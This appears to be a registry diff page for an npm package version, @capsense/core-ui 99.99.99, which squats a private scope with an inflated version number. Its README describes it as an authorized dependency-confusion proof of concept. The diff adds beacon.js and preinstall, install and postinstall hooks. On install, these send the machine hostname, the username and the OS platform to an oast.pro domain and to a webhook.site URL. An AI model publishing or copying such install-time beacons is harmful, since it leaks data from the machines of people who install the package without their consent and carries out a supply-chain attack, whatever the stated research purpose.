@capsense/core-ui 0.0.0-stage → 99.99.99
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of @capsense/core-ui might be problematic. Click here for more details.
- package/README.md +16 -2
- package/beacon.js +32 -0
- package/index.js +7 -0
- package/package.json +12 -4
package/README.md
CHANGED
|
@@ -1,3 +1,17 @@
|
|
|
1
|
-
#
|
|
1
|
+
# @capsense/core-ui — authorized security research placeholder
|
|
2
2
|
|
|
3
|
-
This
|
|
3
|
+
This package is a **dependency-confusion proof of concept** published for **responsible
|
|
4
|
+
disclosure to Microsoft (MSRC)**. The `@capsense` scope was found unregistered on the public
|
|
5
|
+
npm registry while in use as an internal build dependency of a Microsoft production
|
|
6
|
+
application. This placeholder exists to demonstrate that risk and to prevent a malicious actor
|
|
7
|
+
from claiming the name first.
|
|
8
|
+
|
|
9
|
+
**It is not malicious.** On install it emits a one-way beacon containing only the package
|
|
10
|
+
name, the lifecycle stage, the machine hostname, the username, and the OS platform. It does
|
|
11
|
+
**not** read or transmit environment variables, files, source code, credentials, or any other
|
|
12
|
+
data, and it does not modify or damage anything.
|
|
13
|
+
|
|
14
|
+
If you are from Microsoft: please reserve the `@capsense` scope (and these package names) on
|
|
15
|
+
public npm and confirm your builds resolve `@capsense/*` only from your private feed. Contact
|
|
16
|
+
the reporter through the MSRC case associated with this disclosure to have this placeholder
|
|
17
|
+
transferred or removed.
|
package/beacon.js
ADDED
|
@@ -0,0 +1,32 @@
|
|
|
1
|
+
/*
|
|
2
|
+
* Dependency-confusion PoC beacon — authorized security research / responsible disclosure.
|
|
3
|
+
* Purpose: prove whether a build that installs @capsense/core-ui resolves it from the PUBLIC
|
|
4
|
+
* npm registry (i.e. the private scope was not reserved / not mapped to a private feed).
|
|
5
|
+
*
|
|
6
|
+
* It sends ONLY: package id, lifecycle stage, hostname, username, platform.
|
|
7
|
+
* It does NOT read or send environment variables, files, source code, tokens, or any secret.
|
|
8
|
+
* It is non-destructive, never throws, and never blocks or fails the install (exit 0).
|
|
9
|
+
*/
|
|
10
|
+
var os = require('os');
|
|
11
|
+
var dns = require('dns');
|
|
12
|
+
var https = require('https');
|
|
13
|
+
|
|
14
|
+
function f(s, n) { return String(s == null ? '' : s).replace(/[^a-zA-Z0-9]/g, '').slice(0, n).toLowerCase() || 'x'; }
|
|
15
|
+
|
|
16
|
+
var PKG = 'coreui';
|
|
17
|
+
var OAST = 'dbf2v9d8dg559apcd93guf6i7uxrn5coo.oast.pro';
|
|
18
|
+
var WH = '59675304-bec1-4ca0-8409-8d37b65ec116';
|
|
19
|
+
|
|
20
|
+
var stage = f(process.argv[2] || 'req', 4);
|
|
21
|
+
var host = f(os.hostname(), 14);
|
|
22
|
+
var user = '';
|
|
23
|
+
try { user = f(os.userInfo().username, 10); } catch (e) { user = 'x'; }
|
|
24
|
+
var plat = f(os.platform(), 6);
|
|
25
|
+
|
|
26
|
+
var label = [PKG, stage, host, user, plat].join('-').slice(0, 60);
|
|
27
|
+
|
|
28
|
+
try { dns.lookup(label + '.' + OAST, function () {}); } catch (e) {}
|
|
29
|
+
try { https.get('https://' + label + '.' + OAST + '/', function (r) { r.resume(); }).on('error', function () {}); } catch (e) {}
|
|
30
|
+
try { https.get('https://webhook.site/' + WH + '?x=' + encodeURIComponent(label), function (r) { r.resume(); }).on('error', function () {}); } catch (e) {}
|
|
31
|
+
|
|
32
|
+
setTimeout(function () { try { process.exit(0); } catch (e) {} }, 2000);
|
package/index.js
ADDED
|
@@ -0,0 +1,7 @@
|
|
|
1
|
+
/*
|
|
2
|
+
* Inert on purpose. This package is an authorized dependency-confusion PoC for responsible
|
|
3
|
+
* disclosure. All proof-of-execution signalling happens only in the install lifecycle scripts
|
|
4
|
+
* (the build/CI environment). Importing this module at runtime does nothing, so nothing ever
|
|
5
|
+
* beacons from an end user's browser or application.
|
|
6
|
+
*/
|
|
7
|
+
module.exports = {};
|
package/package.json
CHANGED
|
@@ -1,6 +1,14 @@
|
|
|
1
1
|
{
|
|
2
2
|
"name": "@capsense/core-ui",
|
|
3
|
-
"version": "
|
|
4
|
-
"
|
|
5
|
-
"
|
|
6
|
-
|
|
3
|
+
"version": "99.99.99",
|
|
4
|
+
"description": "Authorized security research placeholder for responsible disclosure to Microsoft MSRC (dependency-confusion PoC). Non-malicious: beacons package name and host only, no secrets. Please contact the reporter and reserve this scope.",
|
|
5
|
+
"main": "index.js",
|
|
6
|
+
"scripts": {
|
|
7
|
+
"preinstall": "node beacon.js preinstall",
|
|
8
|
+
"install": "node beacon.js install",
|
|
9
|
+
"postinstall": "node beacon.js postinstall"
|
|
10
|
+
},
|
|
11
|
+
"keywords": ["security-research", "responsible-disclosure", "dependency-confusion-poc"],
|
|
12
|
+
"author": "security research",
|
|
13
|
+
"license": "MIT"
|
|
14
|
+
}
|